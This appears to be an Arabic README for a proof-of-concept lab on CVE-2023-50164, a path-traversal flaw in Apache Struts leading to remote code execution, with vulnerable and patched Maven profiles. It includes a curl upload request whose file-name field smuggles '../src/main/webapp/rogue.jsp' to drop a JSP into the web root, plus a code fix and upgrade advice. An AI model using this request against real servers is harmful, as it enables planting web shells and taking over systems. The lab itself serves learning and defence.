
استغلال إثبات المفهوم لـ CVE-2023-50164، وهي ثغرة اجتياز المسار في Apache Struts تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن بيئات تجريبية ضعيفة ومصححة للاختبار والتعلم.
هذا إثبات مفهوم (PoC) لـ CVE-2023-50164، والذي يوضح ثغرة اجتياز مسار (path traversal) جديدة يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في struts-core.
لمعالجة المشكلة، يُنصح بتحديث Struts إلى الإصدار 2.5.33 أو 6.3.0.2 أو أحدث.
يعتمد هذا المستودع على العمل الممتاز الذي قام به Henrik Plate والموجود هنا.
يوجد في هذا المشروع بروفيلان (profile) لـ Maven: vuln و no-vuln. وvuln هو الافتراضي.
لتشغيل مع ثغرة RCE، نفّذ الأمر التالي:
mvn clean jetty:run -P vuln
لتشغيل بدون ثغرة RCE، نفّذ الأمر التالي:
mvn clean jetty:run -P no-vuln
الفرق بين البروفيلين هو أن vuln يستخدم إصدار 6.3.0.1 من
(الذي يحتوي على ثغرة اجتياز المسار) بينما يستخدم إصدار من
(الذي لا يحتوي على ثغرة اجتياز المسار)
struts-coreno-vuln6.3.0.2struts-coreأثناء تشغيل بروفيل vuln الموصوف أعلاه، نفّذ الأمر التالي:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
ستتمكن من رؤية الملف rogue.jsp في مجلد src/main/webapp ويمكنك تصفحه على:
http://localhost:9999/struts-vuln-poc/rogue.jsp (سترى رسالة Ya been PWNED!).
يوجد حل لإصلاح الكود يعمل مع الإصدارات الأقدم من Struts، لكن لا يزال يُنصح بشدة بتحديث إصدار Struts لديك.
لتجربة إصلاح الكود، نفّذ الأمر التالي:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
سترى رسالة خطأ: Attempted path traversal attack
ملاحظة: إذا كنت تستخدم بروفيل no-vuln، لن تحصل على رسالة خطأ من نقطة النهاية /upload-no-vuln،
حتى إذا استخدمت مسارًا نسبيًا مثل: ../src/main/webapp/rogue.jsp، لأن الإصدار الجديد من Struts
يزيل تلقائيًا مراجع المسارات النسبية.